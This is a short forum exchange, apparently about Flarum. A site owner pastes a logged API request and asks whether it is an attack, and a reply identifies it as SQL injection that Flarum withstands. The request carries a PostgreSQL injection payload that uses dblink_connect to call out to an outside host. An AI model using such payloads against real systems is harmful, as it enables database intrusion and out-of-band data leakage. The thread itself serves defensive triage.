Is he trying to crack the password?

jitendrarsystem

We have found many request as below,

Request : GET /api/discussions/130?page%5Bnear%5D=cast((SELECT%20dblink_connect(%27host%3d8bcz_agnqhy_mwigwm9nwledjvk4cjhlyixzblmm%27%7c%7c%27q24.r87.me%20user%3da%20password%3da%20connect_timeout%3d2%27))%20as%20numeric)

Someone trying to access details using above requests, Please verify us API's are protected?

Thanks!

matteocontrini

jitendrarsystem that's an attempt at SQL injection, which Flarum is very well protected against. You can ignore those requests or ban the source directly.